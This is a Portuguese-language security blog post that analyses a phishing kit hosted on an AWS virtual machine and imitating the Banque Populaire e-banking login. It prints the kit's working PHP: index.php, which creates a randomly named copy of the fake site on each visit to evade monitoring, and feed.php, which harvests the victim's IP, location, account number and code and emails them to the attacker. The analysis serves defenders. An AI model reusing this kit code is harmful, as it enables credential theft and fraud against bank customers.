Hoje em dia as empresas migraram parte da informação e infraestrutura para a Cloud. Quando se fala neste tema, fala-se p.ex, em documentação, sistemas, plataformas, infraestruturas, nomeadamente os modelos de Cloud atualmente conhecidos dentro deste contexto (ver imagem a baixo).
(fonte: wikipedia)
Este artigo não visa abordar Cloud Computing, mas o tema tornou-se tão viral que é irreal não falar sobre o assunto. Muitas empresas contratam provedores de Cloud, como a Amazon, e concebem e implantam as suas próprias infraestruturas na Cloud, contratando assim os serviços do provedor e beneficiando de toda a infraestrutura envolvente. Com alguma naturalidade, ações ilícitas dentro do contexto do cybercrime também têm crescido fortemente ao longo destes últimos anos, e este artigo apresenta uma breve análise de um caso de phishing detetado numa máquina virtual alojada na Amazon Web Services.
Atividade Suspeita
As empresas tendem em manter a segurança e performance das soluções em prol do utilizador final. Nesse sentido, usam e abusam de uma panóplia de tecnologias, tais como, dashboards de estatísticas e análise de logs em real-time, monitorização de tráfego e performance de paginas-web, entre outros, de forma a incrementar e potenciar ao máximo a qualidade do serviço e disponibilidade dos seus sistemas. Através desses mecanismos é possível identificar que serviços são acedidos, ou melhor, qual o TOP 10 de serviços acedidos durante a última hora, ou nos últimos 5 minutos, e sobre tudo, o fluxo de pedidos a esse serviço (quantidade de pedidos em média). Assim, é possível detetar atividades potencialmente maliciosas na infraestrutura. Esta não é a forma ideal para o fazer, mas foi a maneira como este caso de phishing foi identificado.
O endereço potencialmente malicioso teve um crescimento exponencial de pedidos comparativamente com o que era esperado:
http://endereco_legitimo.com/includes/-/portailinternet/9a7798c3c974490335f94a04cdc29746/
Mais, a última parte do URL, 9a7798c3c974490335f94a04cdc29746/, varia pedido a pedido, parece que existem várias replicas do sistema malicioso toda a vez que é acedido.
E.g.:
5e7bf18a88f5a46a928ea5c519d77360
5ed8f7c0ee23ad780e1d099469c6ae93
9c87c8bc29641ba5a4e51402a0d47614
Efetivamente, são valores aleatórios, e são valores de hash MD5.
A página apresentada nesta campanha de phishing é a seguinte.
Conclui-se que é uma página réplica do banco, Banque Populaire. De maneira a investigar um pouco sobre este serviço de e-banking, é possível verificar na página oficial que o serviço não suporta ligações seguras (TLS/SSL), algo impensável nesta era da informação. Para que fique mais claro, o uso de HTTPS (TLS/SSL) não serve apenas para transferir informação segura de ponta a ponta, também tem o objetivo de validar se a entidade que distribui a página ou se propõem a tal (a página consultada) é autentica (ver artigo sobre segurança da informação).
Análise Estática
Depois de confirmado que se trata de um ataque de phishing, foi conhecer-se o funcionamento e implementação desta campanha maliciosa.
Foi verificado que efetivamente dentro da diretoria: ../-/portailinternet/.. existiam enumeras diretorias em que o nome tinha sempre o mesmo número de caráteres, mais propriamente 32 (tamanho de chaves de Hash do tipo MD5, https://pt.wikipedia.org/wiki/MD5).
O tamanho da diretoria que mantém o fake site era abismal, quase 1.3 GB (foi efetuado um zip para compilar todos os ficheiros).
Ainda na raiz da diretoria ../-/portailinternet/.. foram identificados os seguintes ficheiros:
Nomeadamente: um ficheiro denominado index.php e uma diretoria diferente de todas as outras, chamada Pages.
O ficheiro index.php tem o seguinte conteúdo:
<?php //Create Random Folder $random=rand(0,100000); $md5=md5("$random"); $base=base64_encode($md5); $dst=md5("$base"); function recurse_copy($src,$dst) { $dir = opendir($src); @mkdir($dst); while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src . '/' . $file) ) { recurse_copy($src . '/' . $file,$dst . '/' . $file); } else { copy($src . '/' . $file,$dst . '/' . $file); } } } closedir($dir); } $src="Pages"; recurse_copy( $src, $dst ); header("location:$dst"); ?>
Em suma, toda a vez que é acedido o site (esta diretoria raiz), é criada uma réplica do conteúdo da diretória Pages, com base no MD5 de um número pseudo-aleatório entre 0-100000. Em seguida, é feito o encode do resultado da função de hash em base64. Por fim, é efetuada outra iteração com a função de hash MD5 com o objetivo de construir novas diretorias aleatórias com nomes semelhantes àquelas que foram mencionados mais acima.
$random=rand(0,100000); $md5=md5("$random"); $base=base64_encode($md5); $dst=md5("$base");
Este detalhe revela que o autor do código teve preocupações de segurança nesta campanha de phishing. Por exemplo, um sistema de monitorização de tráfego malicioso torna-se ineficiente em parte uma vez que o caminho da página é sempre variável toda a vez que um novo utilizador acede ao fake site. Este facto dificulta em muito a tarefa de qualquer agente de rede.
Em seguida, pode ver-se a estrutura da diretória maliciosa, Pages.
É uma estrutura muito semelhante a qualquer pagina web. A página index.html detém todo o código de formatação HTML/CSS e a página invocada quando um utilizador submete os dados de autenticação: feed.php.
<form class="ca-forms ca-forms-stitre" method="POST" name="formulaire" id="formulaire" action="feed.php" onsubmit="return false;">
feed.php
<? $ip = getenv("REMOTE_ADDR"); $time = date( "M j, Y | G:i:s A" ); $cip = "http://ipinfo.io/$ip/country"; $postal = "http://ipinfo.io/$ip/postal"; $postal1 = file_get_contents($postal); $creatorlocation1 = file_get_contents($cip); $from = $_POST['moukil']; $pass = $_POST['CCCRYC']; $usr = $_POST['CCPTE']; if ($usr== ""){ echo("<script>window.location=' http://www.banquepopulaire.fr/portailinternet/Pages/robot.txt';</script>"); } else { $message .= "#=========[ $time ]=========#\n"; //$message .= "Site : ".$_POST['$site']."\n"; //$message .= "TELEPHONE : ".$_POST['tele']."\n"; $message .= "DEPARTEMENT : ".$_POST['departement']."\n"; $message .= "N° DE COMPTE : ".$_POST['CCPTE']."\n"; $message .= "CODE PERSONNEL : ".$_POST['CCCRYC']."\n"; $message .= "#======[ $from ]======#\n"; $send = "[email protected],amine.keemail.me"; $subject = "[login] $from $ip ]"; $from = "From: PopulaireLog <[email protected]>"; mail($send,$subject,$message,$from); ehho "<meta http-equiv='Refresh' content='0; URL=final.php'>"; } ?>
Esta página recebe o endereço de IP da vítima, a sua localização geográfica, os dados de autenticação e do cartão de crédito, e envia o feed para dois endereços de e-mail:
$send = "[email protected],amine.keemail.me";
Estes são e-mails presentes em blacklists. Consegue-se obter ainda alguma informação sobre o atacante, eventualmente informação falsa.
O ficheiro final.php presente também na diretoria Pages, é uma réplica do index.html, mas neste caso o autor “tentou” converter todo o conteúdo para a linguagem php, e sem sucesso. Ele não é usado durante o processo de phishing.
O ficheiro cc.php possui parte da lógica de envio do ficheiro feed.php. Estes dois ficheiros (final.php e cc.php) parecem ser uma tentativa mal sucedida do atacante aprimorar a solução maliciosa. Mais uma vez, o ficheiro cc.php também não é usado.
Os restantes ficheiros fazem parte de toda a estrutura do fake site, funções javascript de forma a melhorar a experiência utilizador – sistema, etc.
Pedro Tavares is a professional in the field of information security, working as an Ethical Hacker, Malware Analyst, Cybersecurity Analyst and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt.
In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, hacking, cybersecurity, IoT and security in computer networks. He is also Freelance Writer.
Read more here.